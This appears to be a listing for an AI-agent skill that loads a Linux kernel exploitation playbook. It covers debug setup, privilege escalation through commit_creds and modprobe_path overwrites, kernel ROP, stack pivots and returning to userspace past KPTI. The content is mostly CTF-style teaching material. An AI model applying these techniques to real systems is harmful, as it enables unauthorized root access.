- Skill ID
- yaklang/hack-skills/kernel-exploitation
- Publisher
- yaklang
- Repository
- hack-skills
- Installs
- 0
- Files
- 3
- Synced
- Sep 23, 2026
Open any RiverX project, open the Skills panel in the chat, and search for this identifier. The files are fetched from the source repository at install time.
yaklang/hack-skills/kernel-exploitationInstalls these files- KERNEL_HEAP_TECHNIQUES.md
- KERNEL_MITIGATION_BYPASS.md
- SKILL.md
What this skill tells the agent
SKILL: Linux Kernel Exploitation — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert kernel exploitation techniques. Covers environment setup (QEMU), vulnerability classes, privilege escalation targets, kernel ROP, ret2usr, stack pivoting, and cross-cache attacks. Distilled from ctf-wiki kernel-mode sections and real-world kernel CVEs. Base models often confuse user-mode and kernel-mode exploitation constraints, especially regarding SMEP/SMAP/KPTI.
0. RELATED ROUTING
- binary-protection-bypass — userspace protections (NX, ASLR) also apply in kernel context
- stack-overflow-and-rop — kernel ROP reuses many userspace ROP concepts
- heap-exploitation — kernel SLUB is conceptually related to userspace heap
- linux-privilege-escalation — non-exploit kernel privesc techniques
Advanced References
- KERNEL_MITIGATION_BYPASS.md — KASLR, SMEP, SMAP, KPTI, FG-KASLR, CFI bypass techniques
- KERNEL_HEAP_TECHNIQUES.md — SLUB internals, cross-cache attacks, msg_msg/pipe_buffer/sk_buff exploitation
1. EXPLOITATION MODEL
┌─────────────────────────────────────────────────────┐
│ 1. Find Vulnerability │
│ (UAF, OOB, race, integer overflow, type confusion)│
├─────────────────────────────────────────────────────┤
│ 2. Build Primitive │
│ (arbitrary read, arbitrary write, controlled RIP)│
├─────────────────────────────────────────────────────┤
│ 3. Bypass Mitigations │
│ (KASLR, SMEP, SMAP, KPTI) │
├─────────────────────────────────────────────────────┤
│ 4. Escalate Privileges │
│ (commit_creds, modprobe_path, namespace escape) │
├─────────────────────────────────────────────────────┤
│ 5. Return to Userspace Cleanly │
│ (KPTI trampoline, iretq/sysretq, swapgs) │
└─────────────────────────────────────────────────────┘2. ENVIRONMENT SETUP
QEMU + Custom Kernel
# Download and compile kernel
wget https://cdn.kernel.org/pub/linux/kernel/v6.x/linux-6.1.tar.xz
tar xf linux-6.1.tar.xz && cd linux-6.1
make defconfig
# Disable mitigations for easier debugging:
scripts/config --disable RANDOMIZE_BASE # KASLR
scripts/config --disable RANDOMIZE_LAYOUT # FG-KASLR
scripts/config --enable DEBUG_INFO
make -j$(nproc)
# Boot with QEMU
qemu-system-x86_64 \
-kernel bzImage \
-initrd rootfs.cpio.gz \
-append "console=ttyS0 nokaslr quiet" \
-nographic \
-s -S \ # GDB server on :1234, pause at start
-monitor /dev/null \
-m 256M \
-cpu kvm64,+smep,+smapGDB Debugging
gdb vmlinux
target remote :1234
# Load kernel symbols
add-symbol-file vmlinux 0xffffffff81000000 # typical .text base
# Breakpoints
b commit_creds
b *0xffffffff81234567
# pwndbg/GEF work with kernel debugginginitramfs Modification
mkdir rootfs && cd rootfs
cpio -idmv < ../rootfs.cpio.gz
# Edit init script, add exploit binary
cp /path/to/exploit ./
# Repack
find . | cpio -o --format=newc | gzip > ../rootfs.cpio.gz3. COMMON VULNERABILITY TYPES
| Type | Description | Kernel Example |
|---|---|---|
| UAF | Object freed but pointer still accessible | CVE-2022-0847 (DirtyPipe) |
| OOB Read/Write | Array index or size check missing | CVE-2021-22555 (Netfilter) |
| Race Condition | TOCTOU between check and use | CVE-2016-5195 (DirtyCow) |
| Integer Overflow | Size calculation wraps around | Various ioctl handlers |
| Type Confusion | Object cast to wrong type | CVE-2023-0179 (Netfilter) |
| Double Free | Object freed twice | SLUB allocator exploitation |
| Stack Overflow | Kernel stack buffer overflow | Rare (kernel stack is small: 8KB–16KB) |
4. PRIVILEGE ESCALATION TARGETS
Method 1: commit_creds(prepare_kernel_cred(0))
// Kernel function that sets current process credentials to root
void (*commit_creds)(void *) = COMMIT_CREDS_ADDR;
void *(*prepare_kernel_cred)(void *) = PREPARE_KERNEL_CRED_ADDR;
commit_creds(prepare_kernel_cred(0)); // cred with uid=0, gid=0Kernel ROP chain equivalent:
pop rdi; ret
0 # NULL → prepare_kernel_cred(NULL) = init_cred
prepare_kernel_cred addr
mov rdi, rax; ... ; ret # or pop rdi + known location
commit_creds addr
kpti_trampoline / swapgs+iretq # return to userspaceMethod 2: modprobe_path Overwrite
// modprobe_path = "/sbin/modprobe" in kernel .data
// Overwrite to "/tmp/x" → trigger with unknown binary format → kernel runs /tmp/x as root# Setup:
echo '#!/bin/sh' > /tmp/x
echo 'cp /flag /tmp/flag && chmod 777 /tmp/flag' >> /tmp/x
chmod +x /tmp/x
# Trigger (unknown binary format):
echo -ne '\xff\xff\xff\xff' > /tmp/dummy
chmod +x /tmp/dummy
/tmp/dummy # kernel calls modprobe_path → /tmp/x runs as rootMethod 3: cred Structure Direct Overwrite
If you can find the current task's cred pointer and have arbitrary write, directly zero out uid/gid fields in the cred structure.
Method 4: Namespace Escape (Containers)
Overwrite init_nsproxy or manipulate namespace pointers to escape container isolation.
5. KERNEL ROP
Controlled RIP Sources
| Source | Mechanism |
|---|---|
| Corrupted function pointer | UAF object has vtable-like dispatch → overwrite pointer |
| Corrupted return address | Kernel stack overflow (rare) |
Corrupted ops structure | Module operations struct (file_operations, seq_operations) |
seq_operations Hijack (Common CTF Pattern)
struct seq_operations {
void * (*start)(struct seq_file *, loff_t *);
void (*stop)(struct seq_file *, void *);
void * (*next)(struct seq_file *, void *, loff_t *);
int (*show)(struct seq_file *, void *);
};
// Size: 0x20 (fits in kmalloc-32)
// Open /proc/self/stat → allocates seq_operations
// UAF overwrite start → controlled RIP when read() is calledStack Pivoting in Kernel
| Gadget | Usage |
|---|---|
xchg eax, esp; ret | Pivot to address in lower 32 bits of RAX (mmap buffer at known addr) |
mov rsp, [rdi+X]; ... | If RDI points to controlled data |
push rdi; pop rsp; ... | Pivot to RDI (first arg of hijacked function) |
Important: After SMEP, cannot execute userspace code. ROP chain must use kernel gadgets only.
6. ret2usr (Pre-SMEP)
Directly call a userspace function from kernel context:
void escalate() {
commit_creds(prepare_kernel_cred(0));
}
// Overwrite kernel function pointer to point to escalate() in user memoryBlocked by: SMEP (Supervisor Mode Execution Prevention) — kernel cannot execute user-mapped pages.
7. RETURNING TO USERSPACE
After privilege escalation in kernel, must return cleanly to userspace to get a root shell.
Via iretq (Traditional)
; ROP chain ending:
swapgs ; swap GS base back to userspace
iretq ; pops: RIP, CS, RFLAGS, RSP, SS from stack
; Stack must contain: [user_rip][user_cs][user_rflags][user_rsp][user_ss]# Save userspace state before entering kernel
user_cs = 0x33
user_ss = 0x2b
user_rflags = # saved via pushfq before exploit
user_rsp = # saved RSP
user_rip = # address of post-exploit function (e.g., get_shell)Via KPTI Trampoline (When KPTI Enabled)
KPTI separates kernel/user page tables. Direct swapgs; iretq crashes because user pages aren't mapped. Use the kernel's own return trampoline:
# KPTI trampoline (in kernel at known offset):
# swapgs_restore_regs_and_return_to_usermode:
# mov rdi, rsp
# ...
# swapgs
# iretq
# Jump to trampoline with [RIP, CS, RFLAGS, RSP, SS] on stackVia signal Handler Return
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